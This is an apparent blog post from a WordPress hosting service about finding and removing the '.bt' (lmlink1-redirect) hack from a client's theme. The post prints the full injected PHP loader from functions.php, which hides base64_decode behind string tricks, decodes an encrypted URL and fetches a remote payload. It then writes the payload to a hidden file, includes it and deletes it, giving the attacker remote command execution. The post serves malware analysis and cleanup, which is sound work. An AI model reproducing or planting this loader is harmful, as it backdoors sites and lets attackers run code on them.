Just recently we cleaned a WordPress site which was apparently hacked many years ago. The hack was still active and our client was lucky that we found it since he asked us to host the site for him(we’ll talk about this added service in a new blog post).
Every time we handle a WordPress site we check if it has any signs of being hacked or compromised, we did the same for this site as well and we’ve found that it has been hacked for more than 2 years. While the site’s frontend worked fine its backend wasn’t maintained and updated for a long time and as a result, some of the themes and/or plugins used were vulnerable so it became a hackers playground.
The lmlink1-redirect WordPress
After first accessing the site files we noticed that there was a file present under the root dir, the wp-admin and wp-admin/css dir under the name of .bt. This file contained a list of IPs, you can see a sample of them below:
1.0.145.2
1.0.145.210
1.0.177.126
1.0.142.235
1.0.241.135
1.1.149.129
1.1.153.165
1.1.160.253
1.1.165.48
1.1.166.48
1.1.174.241
1.1.186.114
1.1.189.189
1.1.206.184
1.1.207.174
1.1.207.246
1.10.187.208
1.10.248.114
1.102.78.20
1.103.85.59
1.11.62.253
1.110.74.171
1.114.21.215
1.115.199.29
1.120.204.198
Obviously this file wasn’t related to WordPress and the content looked suspicious already. After brief research about .bt files, we stumbled into Michael Nilsen’s php-hacks GitHub page about lmlink1-redirect where he explained how the .bt WordPress hack worked.
Theme’s functions.php injected with a malicious script
In our client site, the hack was found under the active theme’s function.php file. Hackers injected a script on top of the functions.php original content so every time the site loaded the hack re-generated the .bt files. Even if someone tries to delete the .bt files they will still be re-generated by the script inside functions.php.
The original functions.php file content can be seen below:
//Do not remove this
load_template(get_template_directory() . '/functions/init-core.php');
/**
* The best and safest way to extend the Humean WordPress theme with your own custom code is to create a child theme.
* You can add temporary code snippets and hacks to the current functions.php file, but unlike with a child theme, they will be lost on upgrade.
*
* If you don't know what a child theme is, you really want to spend 5 minutes learning how to use child themes in WordPress, you won't regret it :) !
* https://codex.wordpress.org/Child_Themes
*
*/
@include ('template-config.php')
while the injected functions.php has the following script added at the beginning of the file.
@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = 'shaesx'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLopfh9O8JtNZfqTJFHVPuEE3yiNHO7RvxpYYEcbGgEg4Q==";
if (ini_get('allow_url_fopen')) {
function get_data_ya($m) {
$data = file_get_contents($m);
return $data;
}
}
else {
function get_data_ya($m) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $m);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.)enen#is', $reqw, $mtchs);
$dirs = glob("", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
How the .bt WordPress Hack Works
Actually the .bt file is only the visible part of this WordPress hack, every time the site loads the injected script will download on the fly a payload and then delete it. Apart from downloading and creating the .bt file the payload can accept remote commands from the actor who has access to it.
.bt WordPress Hack Removal
After notifying the client about the hack we removed and then added it to our Managed WordPress Hosting service.
If you’re looking to remove the .bt hack yourself then we suggest reading our guide about what you need to do when finding your WordPress site has been hacked or contact us for a quote removing the hack in 24 hours or less.
Marcin says
Have you ever encountered a situation where this hack is reappearing after deleting it? It’s reappearing every Saturday around the same time.
Bit of WP says
Yes, that’s a different hack though. It may be a cron job on your hosting account or on the server itself which injects malware through a schedule.